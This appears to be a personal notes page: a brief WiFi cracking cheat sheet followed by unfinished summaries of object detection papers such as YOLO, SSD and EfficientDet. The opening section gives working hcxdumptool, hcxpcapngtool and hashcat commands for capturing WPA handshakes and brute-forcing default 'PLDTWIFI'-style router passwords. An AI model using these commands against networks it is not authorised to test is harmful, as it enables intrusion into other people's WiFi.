2024年09月24日

wifi (wpa-pbkdf2-pmkid+eapol)

Requirements:

  • aircrack-ng

  • hcxtools

  • hcxdumptool

  • hashcat

    1. sudo hcxdumptool -i wlp6s0f3u2 -w WIFIs.pcapng

    2. hcxpcapngtool -o WIFIs.hc22000 WIFIs.pcapng

    3. hashcat -m 22000 WIFIs.hc22000 -a 3 -1 '?d?l' 'PLDTIFI?1?1?1?1?1' -w 3

Use hashcat -m 22000 WIFIs.hc22000 -a 3 -1 '?d?l' 'PLDTWIFI?1?1?1?1?1' -w 3 --show to show all cracked hashes.

Disabling Monitor Mode

  1. ip link set wlo1 down

  2. iw wlo1 set type managed

  3. ip link set wlo1 up

Check with iwconfig if Mode is set to Managed.

nmcli

Connecting using another wifi adapter

nmcli device wifi connect 'WLAN SSID' ifname wlo2 -a

TL;DRs

Rapid Object Detection using a Boosted Cascade of Simple Features

A real-time face detection algorithm that uses fewer number of features utilizing AdaBoost as the learning algorithm.

FPS

15 FPS

Accuracy

?

Strengths

  1. ?

Weaknesses

  1. ?

You Only Look Once: Unified, Real-Time Object Detection

A real-time generalize object detection algorithm.

FPS

45 FPS

Accuracy

63.4% mAP (Fast R-CNN + YOLO)

Strengths

  1. Faster than R-CNN and Deformable Parts Model

Weaknesses

  1. Lower Accuracy

  2. Struggles with small objects that appears in groups (like flock of birds)

  3. Main source of error is incorrect localizations

SSD: Single Shot MultiBox Detector

A convolutional neural network fast single-shot real-time object detection for multiple categories.

FPS

59

Accuracy

76.9% mAP (500x500)

Strengths

  1. Outperforms Faster R-CNN

  2. Faster than YOLOv1

  3. Higher accuracy

Weaknesses

  1. ?

Faster R-CNN: Towards Real-Time Object Detection with Region Proposal Networks

Real-tiem object detection networks using regional proposal network.

FPS

5

Accuracy

78.8% mAP

Strengths

  1. ?

Weaknesses

  1. ?

R-FCN: Object Detection via Region-based Fully Convolutional Network

Region-based, fully convolutional networks (R-FCN) for accurate and efficient object detection using Residual Net (ResNet-101) as backbone.

FPS

5

Accuracy

83.6% mAP (PASCAL VOC 2007 dataset), 82% mAP (PASCAL VOC 2012 dataset)

Strengths

  1. 2.5 to 20 times faster than Faster R-CNN

  2. Simpler, no need for iterative box regression

Weaknesses

  1. ?

Focal Loss for Dense Object Detection

Simple Dense Detector, RetinaNet, trained on focal loss matching one-stage detectors and surpassing two-stage detectors in accuracy.

FPS

5

Accuracy

?

Strengths

  1. ?

Weaknesses

  1. ?

EfficientDet: Scalable and Efficient Object Detection

Weighted bi-directional feature pyramid network and compound scaling method for object detection.

FPS

?

Accuracy

81.74% mIOU

Strengths

  1. 4 to 9 times smaller

  2. 13 to 49 times fewer FLOPs

Weaknesses

  1. ?